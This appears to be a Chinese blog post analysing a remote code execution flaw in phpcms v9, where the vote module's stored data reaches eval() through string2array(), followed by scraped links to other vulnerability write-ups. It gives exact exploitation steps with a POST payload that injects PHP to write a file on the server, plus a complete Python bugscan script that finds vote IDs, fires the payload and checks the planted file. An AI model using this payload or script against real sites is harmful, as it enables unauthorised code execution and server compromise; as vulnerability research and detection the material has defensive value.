phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
/phpsso_server/phpcms/libs/functions/global.func.php /**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
if($data == '''') return array();
eval("\$array = $data;");
return $array;
}
在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程 /**
* 处理投票
*/
public function post(){
$subjectid = intval($_POST[''subjectid'']);
if(!$subjectid) showmessage(L(''vote_novote''),''blank'');
//当前站点
$siteid = SITEID;
//判断是否已投过票,或者尚未到第二次投票期
$return = $this->check($subjectid);
switch ($return) {
case 0:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
case -1:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
}
if(!is_array($_POST[''radio''])) showmessage(L(''vote_nooption''),''blank'');
$time = SYS_TIME;
$data_arr = array();
foreach($_POST[''radio''] as $radio){ //接收POST传递的radio并转换为$radio数组
$data_arr[$radio]=''1'';
}
$new_data = array2string($data_arr);//转成字符串存入数据库中
//添加到数据库
$this->vote_data->insert(array(''userid''=>$this->userid,''username''=>$this->username,''subjectid''=>$subjectid,''time''=>$time,''ip''=>$this->ip,''data''=>$new_data));
//把字符串$new_data放到data里面
//查询投票奖励点数,并更新会员点数
$vote_arr = $this->vote->get_one(array(''subjectid''=>$subjectid));
pc_base::load_app_class(''receipts'',''pay'',0);
receipts::point($vote_arr[''credit''],$this->userid, $this->username, '''',''selfincome'',L(''vote_post_point''));
//更新投票人数
$this->vote->update(array(''votenumber''=>''+=1''),array(''subjectid''=>$subjectid));
showmessage(L(''vote_votesucceed''), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
}
/**
*
* 投票结果显示
*/
public function result(){
$siteid = SITEID;
$subjectid = abs(intval($_GET[''subjectid'']));
if(!$subjectid) showmessage(L(''vote_novote''),''blank'');
//取出投票标题
$subject_arr = $this->vote->get_subject($subjectid);
if(!is_array($subject_arr)) showmessage(L(''vote_novote''),''blank'');
extract($subject_arr);
//获取投票选项
$options = $this->vote_option->get_options($subjectid);
//新建一数组用来存新组合数据
$total = 0;
$vote_data =array();
$vote_data[''total''] = 0 ;//所有投票选项总数
$vote_data[''votes''] = 0 ;//投票人数
//获取投票结果信息
$infos = $this->vote_data->select(array(''subjectid''=>$subjectid),''data'');
//循环每个会员的投票记录
foreach($infos as $subjectid_arr) {
extract($subjectid_arr);
$arr = string2array($data);//调用了string2array进入eval函数
foreach($arr as $key => $values){
$vote_data[$key]+=1;
}
$total += array_sum($arr);
$vote_data[''votes'']++ ;
}
$vote_data[''total''] = $total ;
//SEO设置
$SEO = seo(SITEID, '''', $subject, $description, $subject);
include template(''vote'',''vote_result'');
}
所以执行的过程就是
1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据 /index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1
subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");
3.然后我们再查看result,触发string2array函数 /index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1
4.再看看是否有readme.php文件存在。
附上一个用于bugscan检测脚本
Python # !/usr/bin/dev python
# -*- coding:utf-8 -*- import re
import urllib
import urllib2 def get_vote_links(args):
vul_url = args
vote_url = ''%sindex.php?m=vote'' % vul_url
code, head, res, _, _ = curl.curl(vote_url)
ids = []
for miter in re.finditer(r''<a href=.*?subjectid=(?P<id>\d+)'', res, re.DOTALL):
ids.append(miter.group(''id''))
if len(ids) == 0:
return None return list(set(ids)) def assign(service, args):
if service == ''phpcms'':
return True, args
pass def audit(args):
vul_url = args
ids = get_vote_links(args)
if ids:
for i in ids:
exploit_url = ''%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1'' % (vul_url, i)
payload = {''subjectid'': 1,
''radio[]'': '');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");''}
post_data = urllib.urlencode(payload)
curl.curl(''-d "%s" %s'' % (post_data, exploit_url))
verify_url = ''%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1'' % (vul_url, i)
curl.curl(verify_url)
shell_url = ''%sbugscan.php'' % vul_url
code, head, res, _, _ = curl.curl(shell_url)
if code == 200 and ''vulnerable test'' in res:
security_hole(vul_url)
pass if __name__ == "__main__":
from dummy import *
audit(assign(''phpcms'', ''http://www.example.com/'')[1])

phpcms前台任意代码执行漏洞(php<5.3)的更多相关文章

  1. Discuz! 6.x/7.x 版本 前台任意代码执行漏洞

    一.漏洞原理: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞. include/global.fun ...

  2. seacms_6.4.5 前台任意代码执行漏洞分析

    环境搭建 1.下载安装包 下载地址: 链接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw 密码:cd48 2.常规安装 漏洞复现 poc1: http ...

  3. WordPress wp-includes/functions.php脚本远程任意代码执行漏洞

    漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...

  4. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...

  5. 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞

    Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...

  6. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

  7. 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析

    近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...

  8. 修复Apache Log4j任意代码执行漏洞安全风险通告

    2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...

  9. 漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)

    近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急 ...

随机推荐

  1. 转:Android ListView 异步加载图片

    http://www.iteye.com/topic/1118828 http://www.iteye.com/topic/1127914 这样做无疑是非常可取的方法,但是加载图片时仍然会感觉到轻微的 ...

  2. 求LCA最近公共祖先的离线Tarjan算法_C++

    这个Tarjan算法是求LCA的算法,不是那个强连通图的 它是 离线 算法,时间复杂度是 O(m+n),m 是询问数,n 是节点数 它的优点是比在线算法好写很多 不过有些题目是强制在线的,此类离线算法 ...

  3. centos 安装squid http代理

    yum -y install squid service squid start service iptables stop

  4. 配置wpa_supplicant调试wifi linux下命令行连接wifi

    调试wpa_supplicant先读一下对应的README.txt文件.根据README.txt修改编译配置. wpa_supplicant需要打开以下开关进行编译CONFIG_DRIVER_NL80 ...

  5. windwos grpc 编译

    此文档是windwos grpc c++ 编译 ,基于 vs2015 编译完成 获取gRPC源码 gRPC是开源框架,项目代码在github上,所以首先要安装github.github安装后,在指定文 ...

  6. 链表各种操作及其实现方法(c实现)

    链表是一种最简单的数据结构之一,经常会被面试官用来考察应聘者的基础扎不扎实,最近也到了求职季,所以我把自己对链表的一些理解写出来,希望能跟大家交流交流: 链表的概念其实挺简单,无非就是一个利用指针将数 ...

  7. jmeter 多机负载压测与服务器性能监测

    环境: jmeter: apache-jmeter-3.3 jdk: 负载生成: 被测机: 一. 多机负载压测: 概述: 1.修改jmeter.properties配置文件 remote_hosts= ...

  8. (20)C#泛型

    泛型的定义:通过参数化类型来实现在同一份代码上操作多种数据类型.泛型编程时一种编程范式,它利用“参数化类型”将类型抽象化,从而实现更为灵活的复用. 优点: 1.省去了拆箱.装箱 2.提高安全性 3. ...

  9. luogu P1041 传染病控制

    题目背景 近来,一种新的传染病肆虐全球.蓬莱国也发现了零星感染者,为防止该病在蓬莱国大范围流行,该国政府决定不惜一切代价控制传染病的蔓延.不幸的是,由于人们尚未完全认识这种传染病,难以准确判别病毒携带 ...

  10. luogu P1347 排序

    题目描述 一个不同的值的升序排序数列指的是一个从左到右元素依次增大的序列,例如,一个有序的数列A,B,C,D 表示A<B,B<C,C<D.在这道题中,我们将给你一系列形如A<B ...